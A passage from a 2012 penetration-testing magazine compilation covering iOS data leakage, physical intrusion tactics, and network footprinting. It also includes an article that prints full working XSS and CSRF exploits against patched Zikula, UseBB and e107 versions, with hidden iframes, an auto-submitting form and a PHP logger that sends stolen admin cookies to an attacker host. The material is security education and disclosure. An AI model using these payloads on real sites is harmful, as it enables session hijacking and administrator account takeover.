Applications/744F3613-A728-4BD7-A490-A95A6E6029F7/Library/
Caches/Snapshots/com.yourcompany.HelloWorld.
Applications should thus, mask sensitive information
on the screen to not only prevent it from shoulder
surfing attacks but, also from getting leaked via these
screenshots (Figure 20).
Individual users with privacy concerns could follow these
steps on a jailbroken iPhone to disable the screenshots
(http://www.iphone-hacks.com/2008/09/24/how-to-
disable-the-iphones-automatic-screen-capture/).
UIPasteBoard
If the iPhone application uses UIPasteBoard for copying
and pasting objects, this information could be obtained
by other applications from the clipboard. In addition
Figure 24. Userid stored in the .plist �le
Page 99 http://pentestmag.com

Figure 25. Crash log �les
to this if persistent pasteboard property is used by
the developer the copied information will be stored
unencrypted on the iPhone’s file system and could
be found here ~/Library/Application Support/iPhone
Simulator/4.0.1/Library/Caches/com.apple.UIKit.pboard .
If the application contains sensitive information then
private pasteboards should be used for copy and paste
operations, and persistent property should be used
sparingly.
Cached �les
If the application displays PDF, Excel or other files it is
possible that these files may get cached on the device
here /Users/<username>/Library/Application Support/iPhone
simulator/3.2/Applications/<application folder>/Documents/
temp.pdf as displayed in the Figure 22.
SQLite Database
Mobile applications store client side data in the SQLite
database on iPhone. Information in the database may
Figure 26. Location of the system.log �le
THE BEST OF 01/2012 Page 100
PENTEST EXTRA
not be encrypted and contain sensitive information such
as account numbers, SSN etc. It may also contain the
application state information which could be tampered to
bypass the application logic. To read, or edit the SQLite
database any of the available clients can be used.
For e.g. the SQLite Manager Firefox add-on (http://
code.google.com/p/sqlite-manager/) is one of the tool
that gets the job done. Sensitive data should be never
stored on the client side. It should always be kept on the
server side or stored in the keychain. Encryption of the
data in the SQLite database should be used as a last
resort as the implementation may get tricky and may
demand careful key management.
Property list (.Plist) �les
Property list files are not a good place to store sensitive
information. Instead, applications should store sensitive
information in the keychain. Apple uses sandboxing
mechanism to limit access to other application’s data.
However, despite sandboxing, numerous application
property files are in fact readable by other applications.
This is because of the loose sandbox rules. In addition
to this file system can be browsed and files read
using open source tools such as Fswalker (http://
code.google.com/p/fswalker/) even on a non jail broken
device.
Log Files
Applications may generate excessive logs, if not
disabled in the production version of the application.
These log files may contain sensitive information that
could be leaked. Logs are mostly stored at the following
locations:
• ~/Library/Logs/CrashReporter/MobileDevice/<DEVICE_NAME>
• /private/var/log/system.log
KUNJAN SHAH
Kunjan Shah is a Principal Consultant at Foundstone
Professional Services, A division of McAfee based out of
the New York office. Kunjan has over 6 years of experience
in information security. He has dual Master’s degree in
Information Technology and Information Security. Kunjan
has also completed certi�cates such as CISSP, CEH, and
CCNA. Before joining Foundstone Kunjan worked for
Cigital. At Foundstone Kunjan focuses on web application
penetration testing, thick client testing, mobile application
testing, web services testing, code review, threat modeling,
risk assessment, physical security assessment, policy
development, external network penetration testing and other
service lines.
http://pentestmag.com
101
 PENTEST EXTRA

Guaranteed Access
Everyone has different ideas of what physical security is, what it
encompasses, and how to exploit it. It can include a wide range of
exploits, many being surprisingly simple. Regardless of method,
going after physical security in a PenTest often proves one of the
easiest ways to gain access to a network. Sometimes physical
exploits are almost looked on as cheating, simply because some of
them are so simple, so obvious, and yet completely unprotected.

W
ith the advent of Svartkasts and PwnPlugs,
physical security is no longer a boring subject
for pentesters. To pentesters these devices
are some of the most exciting exploits at any level.
To businesses they’re a nightmare. The criticality of
physical security can’t be overstated, with high value
targets such as the Nuclear Power plants in Iran, and
the U.S. Governments Secret SIPR networks being
victims to physical layer compromise. If there’s one
guaranteed way to gain access to any network, it’s with
a physical layer exploit. Everyone has different ideas
of what physical security is, what it encompasses, and

Figure 1. Traffic Lights guarantee security on roads

THE BEST OF 01/2012 Page 102 http://pentestmag.com

how to exploit it. It can include a wide range of exploits,
many being surprisingly simple. Regardless of method,
going after physical security in a PenTest often proves
one of the easiest ways to gain access to a network.
Sometimes physical exploits are almost looked on as
cheating, simply because some of them are so simple,
so obvious, and yet completely unprotected.
There are countless tricks to exploit physical layer
weakness. One of the more devious is the concept
of creating a 0-day exploit inside of a client side
application like Word or Adobe Acrobat, put it on a CD
or thumb drive labeled Employee Salary History 2005-
2012 and leave a few copies of it in different bathrooms
at the target site. Do this slowly several times over a
few months and eventually you’ll have a reverse shell
waiting for you when you get back to the office.
There are tricks like dressing up as a legitimate third
party vendor like as an electrician, helpdesk employee,
or even a firefighter. Once inside any number of physical
exploits are at your disposal. Planting a keylogger when
under someones desk inspecting a wiring issue is pretty
easy. This sounds improbable, but it works time and time
again. When enough effort is placed into setup, it can
be very effective. To increase the odds of success some
people will not only dressing the part, they’ll have a 2-3
person team with walkie talkies making chatter. They’ll
have a Van outside labeled ‘Acme Electrical’ parked in
front of the receptionist window and they’ll execute the
operation around lunch while all security figures are
out. Some will argue this is a Social Engineering attack,
but the ultimate exploit will usually be when a physical
device is planted. Planting a keylogger, planting a
wireless router, etc.
For the more dedicated, there’s the trick of getting
a job with the cleaning crew. Your employees have
background checks, does your cleaning crew? What
about the cleaning crew at your remote offices? A hacker
with a few months of access to every desk in your
building should make anyone pause. Stopping an attack
like this comes back to the basics. Cameras watching
more than just your front door, someone monitoring the
cameras, and background checks for anyone who has
unsupervised access inside your building. Secondary
to this exploit is the concept of exploiting the people
who have unsupervised access who aren’t the normal
security conscious staff. Telling the cleaning person as
they’re taking out the trash that you left your keys on your
desk could be the easiest access you ever got.
Physical security can be even simpler. One of the
simplest attacks that many people over look is just
breaking in and stealing. Smash and grab. Backup tapes
are a good target or even entire servers. If someone
wants your data and your front door has a weak lock,
THE BEST OF 01/2012 Page 103
and no alarm how hard is it? If the walls creating your
datacenter are just normal drywall it’s more of an illusion
of an obstacle. In many situations when someone wants
your data, it could be easier to just break in. With a cart
and a few minutes someone could grab your SAN and
several servers. The target may not necessarily be data
either; it could be a normal thief targeting high value
network equipment. With some network devices costing
more than a small house, these devices could easily
become financial targets. It’s been a trend for years for
thieves to break in to companies and steal laptops to
resell on the internet. They attack over long weekends
and usually hit several companies in a row. Sometimes
the thief will come in during business hours, and hide in
a bathroom or empty office until everyone leaves. The
question of course is if they can steal your laptops, is
there anything physically stopping them from stealing
your SAN? If they kick a hole through the drywall or
push up the ceiling tiles and just jump over the wall, are
they in? Protecting against things like this requires alarm
systems. Not just on the front door, but motion sensors in
the server rooms. The front door alarm can be bypassed
by coming in during business hours and hiding, but
alarms in the server room should help. Also things like
changing the default lock on server racks(many rack
vendors use the same key for all racks), actually locking
the server racks, encrypting backup tapes and even
encrypting data on your servers. It’s security in depth.
Physical security can also be more sophisticated
with knockoff routers, NICs, and motherboards with
backdoors hard coded into them. Anti-virus isn’t going
to pick up a backdoor on the physical level and even a
good IPS sensor isn’t going to pick up a backdoor on
a knockoff router. Some companies require every new
piece of hardware that comes in the door to be tested
with a packet sniffer like wireshark to make sure the
hardware isn’t dialing home. While this may currently be
overkill for normal businesses who buy from reputable
distributors, buying network devices from ebay for a
secure environment is a bad idea. Related to this, just
because you didn’t install a knockoff WIC into your
router doesn’t mean an attacker can’t. Breaking into
a wiring closet and swapping in a hacked WIC into a
router would take 2 seconds in many environments
using nothing more than a simple lock pick and a screw
driver. It would be noticed as the network goes down,
but as the network magically comes back on-line, would
anyone take the time to figure it out or would it sit there
for years leaking data?
Network equipment isn’t the only thing at risk from
physical security. On the end-user side, U3 auto-run
memory sticks became popular showing off creativity
in getting access to places that had email and web
http://pentestmag.com

security locked down. U3 thumb drives legitimately
create a virtual CD that autoplays like all CDs do,
usually to load software that you want. With a hacked
U3 thumb drive however, that autoplay virtual CD is
auto installing backdoors, and dumping password
hashes. While seemly trivial, this attack has gotten into
the most secure sites in the world. The US Government
banned USB devices after having its top secret network
compromised by this attack. The Stuxnet worm that
temporarily took down Irans Nuclear Plant was also
initially delivered by gaining physical access and
plugging in a USB device, bypassing all higher level
network security mechanisms. A simple AD policy
blocking autorun should be a minimum for most clients.
There are also tools like Ophcrack where if you have
physical access to a computer, you can boot with a
linux live CD and crack the local admin password with
zero knowledge, zero effort, and zero skill. While this
may not seem like the end of the world, how many end
user computers have the same local admin password?
What about HR computers? Obviously no one in IT
with domain admin access has the same local admin
password that the end users have… Secondary, it’s
just as easy to install a rootkit with a live CD as it is
to break the local admin password. Protecting against
this requires the security team to create computer build
policies for helpdesk technicians to follow when building
end-user laptops and desktops. Polices setting the boot
order to boot off the hard drive first, creating a bios
password, and locking the bios from changes.
Even more simple than breaking the password on a
laptop with a boot CD are tools like FTWAutoPwn that
allows someone with physical access to simply bypass
the password all together on a locked Windows XP or
Windows 7 computer. This attack is also very simple
requiring the attacker to create a FireWire hack device
using the FTWAutoPwn program, and then simply plug
the modified firewire device into a locked computer. No
more password… One of the more scary things about
attacks like this is how simple they are and how it can
be used to pivot to other attacks. Outside of just gaining
access to an end users laptop, doing this to a domain
admin who locks his computer to go to lunch could gain
someone a new AD account.
Figure 2. U3 USB Thumb Drive, used to break into some of the most
secure networks in the world
THE BEST OF 01/2012
PENTEST EXTRA
One of the newest and more interesting attacks is
with drop boxes like the PwnPlug. This device looks
like a benign box that’s simply plugged into power with
a network cable going to it. The type of device that
generations of network staff could look at and think
I don’t know what it does, but it’s always been there.
These devices are physically planted on a network
and once planted; they allow a hacker or pentester to
have remote access to said network. They talk home
using SSL to encrypt traffic and bypass perimeter IPS
sensors. Certain versions have mechanisms to also
bypass NAC/802.1x/Radius. Even more devious they
can simply connect back to the attacker using 3G. Hide
one of these under a printer and everyone will assume
it’s just related to the printer. Three or four years of easy
access will follow with the device likely being thrown out
with the printer when the printer is end of life. The small
form factor is a big part of the danger in these devices.
Gone are the days of a drop box needing to be a laptop
that anyone can easily spot.
While the thought of losing a $500 device might stop
some hackers from using this type of attack, losing a $40
device will stop no one. This is where the svartkast comes
in. A svartkast is the concept of a cheap remote access
drop box that you can plant on a network and afford
loses. One example is using a pogoplug. A pogoplug is
a legitimate home media device that cost around $40.
You can use it to share pictures of your vacation, or you
can use it to hack into a network. The default operating
system is thrown out for a custom install of Linux. Install
your tools, ssh tunneled through Tor, and you’re done.
You now have a very dangerous device.
It takes a few minutes for the seriousness of this
type of attack to set in. Someone breaks in, plants this
device and leaves. All you know is a break-in happened
and nothing was stolen. But from now on, when you
forget to patch your 5 year old copy of Netbackup, you
just lost all your data. The PwnPlugs and svartkast
boxes aren’t sniffing data; they’re a hacker sitting on the
inside of your network running all the tools they want.
That legacy server with MS03-026 that isn’t an issue
because it’s behind the perimeter firewall? Think again.
Remote offices are often left out of physical security
conversations. Remote offices can be overlooked,
underfunded and easy targets for all of the above
attacks. Using any of the above physical security exploits
against a satellite office will produce much better result
in general than attacking the corporate datacenters.
The corporate headquarters may be locked down with
cameras, guards, and network engineers monitoring
fine details. How many small remote offices can you
same the same of? Many times remote offices have no
IT staff at all.
Page 104 http://pentestmag.com
 Some people may think the cloud will save them from
these attacks, but if anything the more companies adopt
the cloud, the worse the issue of physical security may
be. More servers in the cloud will likely equal smaller
budgets for internal IPS systems and the project time
to maintain them. Under high cloud adoption scenarios
where fewer higher level engineers are on site, there
is little to protect the attacks above. This may sound
counter intuitive as the initial thought is that the data
in the cloud is guarded by the best and brightest
and therefore more secure. The problem is that the
access to that data is still taking place from the same
physical locations it was before. Planting a pwnplug in
a business without an IT staff could guarantee decades
of unnoticed access.
Another thought many have when thinking about
securing the physical layer is that they’re not a big
enough target for a hacker to go out of their way for.
They might be concerned about a generic worm, but
not someone breaking in and planting a PwnPlug. The
problem is what’s thought of as a traditional hacker
is many times not the most likely attacker. The most
likely attacker in many companies is the disgruntled
employee. Disgruntled IT employee has always been
a fear for businesses, but as the next generations of
more and more computer savvy employees enter the
workforce, their ability to find and launch relatively
simplistic, but highly effective attacks will be a concern.
The idea of an intern with a svartkast, or an employee
bypassing the password on their boss’s computer is a
real possibility.
So how do you protect against physical security, and
more specifically the more dangerous PwnPlugs and
svartkasts? Using something like Cisco Port Security
where the switch knows what mac address is allowed to
be on each port would be a good first try. The problem is
the PwnPlug can bypass this. They can mimic the mac
address if installed in-line with a PC or printer. Using

Figure 3. PwnPlug with a decoy sticker to make it look like a printer

power supply

THE BEST OF 01/2012 105


Figure 4. Pogoplug home media devices are a popular choice used
to make a svartkast box
NAC/802.1x/Radius would be another good guess, but
the PwnPlug can bypass that as well in the higher end
models. For smaller companies, simply doing a periodic
visual check would be a good idea. The problem is
something like a PwnPlug could easily be connected
to a small UPS battery backup and put up in the ceiling
where it could run for days; long enough to allow a
hacker to exploit an internal system for more permanent
access. Also relying on visual checks ignores the fact
that these devices will continue to get smaller and
smaller. Some of the devices in the pipeline are the size
of a network jack.
Protecting against the initial planting of a device on
your network really comes down to the old basics of
physical security. Cameras, fences, alarms systems,
security guards, policies, background checks, etc. There
are also the deterrents like keeping unused switch ports
shutdown by default, and monitoring mac-addresses.
To detect devices like the PwnPlug after they’re on
your network, scanning for it will not work; physically
looking for it isn’t a guaranteed method either. Even if
there was a trick to detect the device using a network
scanner, the assumption should be that very soon we’ll
have dozens of similar products with each generation
being more covert. Instead the best way to detect the
device is to think in terms of how to detect the actions
of the hacker on the device. While many companies
do an okay job of looking at the perimeter for hack
attempts, also turn your attention to the inside. You
should be alerted to things like nmap scans hitting
inside servers, or private being incorrectly guessed as
your snmp community string, or outbound connections
to TOR or to hacker tool repositories where an attacker
could be pulling updates. Basically, anything that could
be seen as an inside hack, you should be alerted to
in real time. In many cases, an internal IPS sensor is
more valuable and useful than an external IPS. With
these attacks most outbound traffic that leaves the
THE BEST OF 01/2012
PENTEST EXTRA
perimeter will be encrypted leaving the perimeter IPS
sensor ineffective. For an internal IPS system to work
though means custom configuration to look for internal
hackers. Just downloading the latest IPS signatures
isn’t necessarily going to give the tools needed. There
will need to be staff trained on creating rules and the
time to monitoring normal traffic, test rules, and develop
rules as techniques change. In addition to an internal
IPS sensor, using internal honeypots is a good way to
quickly detect new activity. For honeypots, set up a few
virtual servers that look like real targets named things
like HR015, or DC005 and have tripwire or the IPS
watch them and alert in real time.
In addition to detecting these attacks, it’s also smart
to reduce the internal attack surface area to lessen the
damage done between when an attack is detected and
when it’s remediated. That comes back to the old adage
of not having an egg network with a hard shell outside and
a soft gooey inside. Make the internal network as locked
down and hard as the outside network. The network ports
outside of the core switch should only see a small subset
of servers and only a small subset of ports on those
servers. For example, end users should never be able to
see netbackup ports on any server. A telephone doesn’t
need to see file servers. A printer doesn’t need to see other
wan links. Locking down internal systems is key.
One thing many companies are doing in response to
newer physical threats is having pentests preformed
on the inside of the network, and attacked from the
perspective that there’s a hacker on a pwnplug. Doing
this will pick up security issues that may have been
overlooked otherwise. Second, after all internal issues
found are fixed; perform the test again being as quiet as
possible to test the alerts and alarms for sensitivity. This
also allows the client to see what hack attempts on the
inside looks like in terms of what alerts they get.
If anything, physical attacks prove there is no single
magic bullet that can protect you. The best defense
has always been, and always will be, staff with proper
security education to continuously harden systems
against emerging threats.
JON DERRENBACKER
Jon Derrenbacker is an IT professional with 12 years
experience in Systems Engineering, 8 years experience in
Computer Forensics and 8 years experience in Pen-Testing. In
computer forensics he has lead small cases to cases scaling
$100 million dollar international fraud. In PenTesting his
focus is on community banks, but includes for privately- and
publicly-held companies, not for pro�t organizations, and
government agencies. Jon is a systems engineer for KeiterCpa
in Richmond Va. You can reach him at
jderrenbacker@keitercpa.com
Page 106 http://pentestmag.com
107

XSS & CSRF
Practical exploitation of post-authentication
vulnerabilities in web applications
These days many people do not consider post-authentication
vulnerabilities dangerous, such as Stored XSS in the
administrator’s portion of a web application.
T
his situation is probably aggravated by some
misinformation websites and some self-
proclaimed security experts, which try to deny
disclosed vulnerabilities by posing them as a feature
implemented by design. The problem is that they simply
do not understand the exploitation’s vectors of these
vulnerabilities and they consider them as benign, as
long as they impact webpages which do not remain
available to unauthenticated users.
In the past year, High-Tech Bridge SA Security
Research Lab has been performing vendor awareness
on a non-profit bases, explaining that post-authentication
vulnerabilities are dangerous and they should be fixed.
This case-by-case approach is paying off by vendor’s
patch statistics for our Security Advisories:
Figure 1. Testing the Proof of Concept
THE BEST OF 01/2012
PENTEST EXTRA
• Only 32% of post-authenticated vulnerabilities were
fixed during the first and second quarter of 2011.
• However, 65% were fixed during the third and
fourth quarter of 2011.
The goal of this article is to demonstrate the real
danger of post-authenticated vulnerabilities. We will
not explain the basics of web application attacks in
this article, as that has already been done many times
before by others. We will focus on a practical way to
exploit post-authentication XSS’s and CSRF, which
remain a highly underestimated attack vector in the
security scene.
Post-authentication XSS
Let’s start with something very simple. One of the
most popular post-authentication vulnerabilities is
XSS (Cross Site Scripting). This type of vulnerability
is a perfect attack against web-site administrators.
Actually, despite the limited exploitation’s vector
(against website administrators only), our Research
Lab assigns a medium risk level (for a standard XSS)
to these vulnerabilities for the simple reason that the
most efficient exploitation vector of XSS is carried out
against website administrators, not against common
users.
For our example, we will take an old version of
Zikula, which is vulnerable to XSS against website
Page 108 http://pentestmag.com
administrator vulnerability (details are described in our
Security Advisory HTB23039). Several months ago, the
vulnerability was rapidly patched by the vendor, and
today we are going to demonstrate the full version of
the exploit.
First of all let’s test the Proof of Concept (PoC) code
from the advisory to make sure that the vulnerability
exists. We log into Zikula as an administrator and
test by using the proof of concept, which was publicly
disclosed on High-Tech Bridge’s website: Figure 1.
XSS works perfectly; we see the value of our cookie.
Now let’s see how this vulnerability may be exploited
in practice. Let’s imagine that a malicious hacker has
a website located at http://hackhost/. Our vulnerable
website with Zikula is located at http://targethost/.
We have the following files:
• The .htaccess file causes Apache to handle JPG
files as PHP scripts. This will make the malicious
link that we are going to send to the administrator
less suspicious.
• 1.jpeg is a normal JPG file with is used as a simple
birthday card picture.
• 1.jpg shows the 1.jpeg picture to simulate a simple
image behavior. However, an invisible part in the
victim’s browser will create an iframe, which will
exploit the XSS vulnerability inside the admin panel.
• c.php script simply writes received administrator’s
cookie to the log.txt file.
Next we have to have the logged-in administrator to
visit our hackhost website to steal his cookies. Here,
we will not write a complex scenario, as there are
already plenty of social engineering attack examples
on Internet. Indeed, we will use a very basic one, as
if a website user (malicious hacker in reality) wants to
wish a happy birthday to the administrator.
The administrator receives a Birthday Card, which
is located at: http://hackhost/1.jpg, the JPG extension
will not seem suspicious to the majority of users. On
the image below we see what the administrator will see
after opening the link in his browser: Figure 2.

Listing 1. Content of web root of hackhost

root@hackserver:/var/www/hackhost# ls -la
drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .
drwxrwxrwx 17 root root 4096 2012-01-01 00:00 ..
-rw-rw-rw- 1 root root 277694 2012-01-01 00:00 1.jpeg
-rw-rw-rw- 1 root root 288 2012-01-01 00:00 1.jpg
-rw-rw-rw- 1 root root 78 2012-01-01 00:00 c.php
-rw-rw-rw- 1 root root 37 2012-01-01 00:00 .htaccess

root@hackserver:/var/www/hackhost# cat .htaccess

AddType application/x-httpd-php .jpg

root@hackserver:/var/www/hackhost# cat 1.jpg

<html>
<body>
<img src="1.jpeg">
<iframe width="1" height="1" style="display:none"
src="http://targethost/index.php?module=theme&type=admin&func=setasdefault&themename=<script>document.location
.href='http://hackhost/c.php?c='%2Bescape(document.cookie)</script>">
</body>
</html>

root@hackserver:/var/www/hackhost# cat c.php

<?
$f=fopen("log.txt", "a");
fwrite($f, $_GET["c"]."\r\n");
fclose($f);
?>

THE BEST OF 01/2012 Page 109 http://pentestmag.com


Figure 2. Image displayed in browser
As soon as the logged administrator sees this image,
his admin account is compromised. Let’s come back
to our hackhost and have a look on what we just
received:
root@hackserver:/var/www/hackhost# cat log.txt
_zsid2=655085aceec73b6e3aacb230a344bc88f169c20d;
Perfect, we now have administrator’s cookie. Let’s go
back to the vulnerable http://targethost/: Figure 3.
We have not logged into the system, so we do not
have any rights. Now, let’s modify our admin cookie,
using the FireCookie plug-in for Firebug in Firefox and
use the intercepted Session ID of the administrator:
Figure 4.
Refresh the page with the new cookie enabled, and
go to the administration portion of the web site: Figure
5.
We are now logged-in as the Zikula administrator with
full rights. This is a very simple example, but it is a very
common exploitation attempt for post-authentication
XSS vulnerabilities, which are quite often wrongly
considered as benign by unaware people.
Client side attack through CSRF
Another example of post-authenticated vulnerability is
CSRF or XSRF, (Cross Site Request Forgery). Let’s
take the example of the CSRF vulnerability, which was
discovered in a previous version of UseBB (vulnerability
Figure 3. Lack of access
THE BEST OF 01/2012
PENTEST EXTRA
Figure 4. Modifying admin cookie
details are described in our HTB22913 Security
Advisory), which was also patched by the vendor
several months ago.
Our target will again be located at http://targethost/
with the vulnerable version 1.0.11 of UseBB. To exploit
this vulnerability, we will need a slightly modified version
of our http://hackhost/ used in the previous XSS case.
We can see a new file named form.hml designed to
perform CSRF exploitation. Again, we have to make a
logged UseBB administrator visit our malicious image
located at http://hackhost/1.jpg. Here is what the
exploited UseBB administrator will see when the link is
opened: Figure 6.
As previously mentioned, there is nothing here which
really looks suspicious – this is simply a birthday card,
which is coming from a forum member. However, as
soon as the administrator opens the link, his Profile’s
Figure 5. Gain Access
Page 110 http://pentestmag.com
Listing 2. Files and their content in hackhost’s web root

root@hackserver:/var/www/hackhost# ls -la
drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .
drwxrwxrwx 8 root root 4096 2012-01-01 00:00 ..
-rw-rw-rw- 1 root root 50935 2012-01-01 00:00 1.jpeg
-rw-rw-rw- 1 root root 118 2012-01-01 00:00 1.jpg
-rw-rw-rw- 1 root root 1109 2012-01-01 00:00 form.html
-rw-rw-rw- 1 root root 38 2012-01-01 00:00 .htaccess

root@hackserver:/var/www/hackhost# cat .htaccess

AddType application/x-httpd-php .jpg

root@hackserver:/var/www/hackhost# cat 1.jpg

<html>
<body>
<img src=1.jpeg>
<iframe width="1" height="1" style="display:none" src="form.html">
</body>
</html>

<html>
<body>
<form action="http://targethost/panel.php?act=editprofile" method="post" name="main" id="main">
<input type="hidden" name="displayed_name" value="admin">
<input type="hidden" name="real_name" value="">
<input type="hidden" name="avatar_remote" value="">
<input type="hidden" name="birthday_month" value="">
<input type="hidden" name="birthday_day" value="">
<input type="hidden" name="birthday_year" value="">
<input type="hidden" name="location" value="">
<input type="hidden" name="website" value="">
<input type="hidden" name="occupation" value="">
<input type="hidden" name="interests" value="">
<input type="hidden" name="signature" value="">
<input type="hidden" name="email" value="hacker@hack.host">
<input type="hidden" name="msnm" value="">
<input type="hidden" name="yahoom" value="">
<input type="hidden" name="aim" value="">
<input type="hidden" name="icq" value="">
<input type="hidden" name="jabber" value="">
<input type="hidden" name="skype" value="">
<input type="submit" value="OK">
</form>
<script>
document.main.submit();
</script>
</body>
</html>

THE BEST OF 01/2012 Page 111 http://pentestmag.com


Figure 6. Suspicious Happy Birthday
email will be changed to hacker@hack.host by our
form.html CSRF code, as if it was the real administrator
who legitimately changed his email address by using
the designed function of UseBB: Figure 7.
Now we simply need to use UseBB password
recovery feature to get a new administrator password
on hacker@hack.host email: Figure 8.
After receiving the administrator’s password by email,
we can log as UseBB administrator: Figure 9.
This is a very simple example of CSRF, but it is a
quite efficient proof of concept and the reason why this
vulnerability was reported to the vendor, who in turn
agreed that it was a serious issue by providing a new
release to his customers.
When CSRF combines with XSS
Now, let’s have a look at a more complex exploit using a
hybrid approach, which relies on both XSS and CSRF.
In this example, we will use the CSRF and stored XSS
vulnerabilities in the admin panel of e107. Details
are described in our Security Advisory HTB23004,
and these vulnerabilities have also been fixed by the
vendor.
One of the scripts (users_extended.php) in the
e107 administrator panel, is vulnerable to stored XSS,
(Persistent XSS), as well as to CSRF attacks. In this case,
a simple XSS in the script, without the CSRF would be
pretty useless from an attacker’s point of view. In a same
way, the script would not represent a big value for hackers
if it was only vulnerable to CSRF, because the vulnerable
code does not perform any critical or sensitive actions,
such as the password change that we used in our previous
CSRF example. However in this case, we have a perfect
Figure 7. Getting new password
THE BEST OF 01/2012 Page 112
PENTEST EXTRA
Figure 8. Receiving the administrator’s password
combination of XSS and CSRF together, as in many others
High-Tech Bridge’s advisories. Usually, vendors do not
implement CSRF protection in their administration scripts,
because they may consider it useless. Sometimes, it may
be true and sometimes not. If developers miss an XSS
somewhere, then they are faced with a cocktail, which
may open a door to full system compromise.
In the present case, the vulnerable script allows the
website administrator to create a custom field for user
profiles. One of the script parameters named user_
include is vulnerable to Stored XSS. The complexity is
that the vulnerable field is edited and displayed on two
different pages. This inaccurately makes some people
believe that such a vulnerability is not dangerous at all.
So let’s start exploiting it.
We will again consider that the vulnerable version
of e107 is located at http://targethost/ and that the
hacker’s server is located at http://hackhost/, content
of which will be similar to our previous examples with
classic post-authenticated XSS and CSRF.
In this case 1.jpg is a little bit more complex and
performs 3 different actions:
• It shows a legitimate Happy Birthday image (1.jpeg)
• An invisible iframe is included in form.html, which
exploits the CSRF vulnerability and adds new field
with malicious Javascript code inside that steals the
user’s cookie (this is possible because our script is
vulnerable to XSS).
• Two seconds after loading form.html, 1.jpg will
request the users_extended.php, script with stored
XSS attack code (inserted in step 2).
Figure 9. Logging as UseBB administrator
http://pentestmag.com
Listing 3. A content of hackerhost web root

root@hackserver:/var/www/hackhost# ls -la
итого 80
drwxrwxrwx 2 root root 4096 2012-01-01 00:00 .
drwxrwxrwx 11 root root 4096 2012-01-01 00:00 ..
-rw-rw-rw- 1 root root 50935 2012-01-01 00:00 1.jpeg
-rw-rw-rw- 1 root root 259 2012-01-01 00:00 1.jpg
-rw-rw-rw- 1 root root 78 2012-01-01 00:00 c.php
-rw-rw-rw- 1 root root 846 2012-01-01 00:00 form.html
-rw-rw-rw- 1 root root 38 2012-01-01 00:00 .htaccess
root@hackserver:/var/www/hackhost# cat .htaccess
AddType application/x-httpd-php .jpg

root@hackserver:/var/www/hackhost# cat 1.jpg

<html>
<body>
<img src=1.jpeg>
<iframe width="1" height="1" style="display:none" id=f1 src='form.html'></iframe>
<script>
setTimeout("document.getElementById('f1').src='http://targethost/e107_admin/users_extended.php'",2000);
</script>
</body>
</html>

root@hackserver:/var/www/hackhost# cat form.html

<form method="POST" action="http://targethost/e107_admin/users_extended.php?editext" name=m>
<input type="hidden" name="user_field" value="abcde1f1">
<input type="hidden" name="user_text" value="12121">
<input type="hidden" name="user_type" value="1">
<input type="hidden" name="user_include" value=""><script>document.location.href='http://hackhost/c.php?c='+esca
pe(document.cookie);</script>">
<input type="hidden" name="add_field" value="1">
<input type="hidden" name="user_parent" value="0">
<input type="hidden" name="user_required" value="0">
<input type="hidden" name="user_applicable" value="255">
<input type="hidden" name="user_read" value="0">
<input type="hidden" name="user_write" value="253">
<input type="hidden" name="user_hide" value="0">
<input type=submit>
</form>
<script>
document.m.submit();
</script>

root@hackserver:/var/www/hackhost# cat c.php

<?
$f=fopen("log.txt", "a");
fwrite($f, $_GET["c"]."\r\n");
fclose($f);
?>

THE BEST OF 01/2012 Page 113 http://pentestmag.com


Figure 10. Dangerous Birthday Card
Listing 4. XSS example
root@hackserver:/var/www/hackhost# cat log.txt
PHPSESSID=a688a485f2ddb7a5ce40610e58d686ce;
e107_tdOffset=-8; e107_tdSetTime=1325883584;
e107_tzOffset=-240; e107cookie=1.f1f19cd495328ce023b
ed1c0d5108d2a;
Here is our malicious link that a log e107 administrator
whould open: http://hackhost/1.jpg.
As before, the administrator will not see any suspicious
activities, except the Birthday Card: Figure 10.
However, both XSS and CSRF vulnerabilities were
successfully exploited. As we have already seen in the
XSS example, e107 administrator’s cookie will be passed
to c.php, which will store it in the log.txt file: Listing 4.
Also, we can now simply edit the cookie and refresh
the page and you have exploited the administrator’s
page! We are now logged as the e107 admin.
We now have access to all of the administrative
functions and unlimited control of the e107.
Conclusion
The three client-side attacks described in this article
show that post-authenticated vulnerabilities are also
dangerous, despite the fact they do not impact webpages
available to non-authenticated users. They are far from
Figure 11. Exploiting the administrator’s page
THE BEST OF 01/2012
PENTEST EXTRA
Figure 12. Unlimited access
being implemented by application design and may
become an entry point on your system. Moreover, XSS
and CSRF, despite highly underestimated on certain
security websites and during most penetration tests, do
remain a target of choice in the real world.
We hope that this article will improve vendor and
user awareness regarding the real dangers of post-
authentication vulnerabilities though client-side attack
vectors.
We would also like to highlight the efforts of Secunia,
who educates a lot to vendor’s and user’s awareness
about post-authentication vulnerabilities.
MARSEL NIZAMUTDINOV
Marsel Nizamutdinov, Head of Research & Development
Department at High-Tech Bridge SA, web application security
expert, author of „Hacker Web Exploitation Uncovered”
(2005).
Page 114 http://pentestmag.com
������������������������
����������������������
���������������������
��������������������
����������������������
�������������������
���������������
����������
 PENTEST EXTRA

Finding your
Target...
Network foot printing is, perhaps, the first active step in the
recognisance phase of an external network security engagement.
This phase is often highly automated with little human interaction
as the techniques appear, at first glance, to be easily applied in a
general fashion across a broad range of targets.

A
s a security analyst, footprinting is also one of
the most enjoyable parts of my job as I attempt
to outperform the automatons; it is all about
finding that one target that everybody forgot about or did
not even know they had, that one old IIS 5 webserver
that is not used, but not powered off.
With this article I am going to share some of the steps,
tips and tricks that pentesters and hackers alike use
when starting on a engagement.
Approach
As with most things in life having a good approach to
a problem will yield better results and overtime as your
approach is refined you will consume less time while
getting better results. By following a methodology, your
footprinting will become more repeatable and thus reliable.
A basic footprining methodology covers reconnaisance,
DNS mining, various information services (e.g. whois,
Robtex, routes), network registration information and
active steps such as SSL host enumeration.
While the temptation exists to merely feed a
domainname into a tool or script and take the output as
your completed footprint, this will not yield a passable
footprint for two reasons. Firstly, a single tool will not
have access to all the disparate information sources
that one should consult, and secondly the footprinting
process is inherently iterative and continous. A footprint
is almost never complete; instead, a fork of the footprint
data provides the best current view of the target, but the
information could change tomorrow as new sites are
brought online, or old sites are taken offline. Thus as a
datum is found that could expand the footprint, a new
iteration of the footprinting process triggers with that
datum as the seed, and the results are combined with
all discovered information.
Know your target
The very first thing to do is to get to know your target
organization. What they do, who they do it for, who
does it for them, where they do it from both online
and in the kinetic world, what community or charity
work they are involved in. This will give you and
insight into what type of network/infrastructure you
can expect. Reading public announcements, financial
reports and any other documents published on or by
the organization might also yield interesting results.
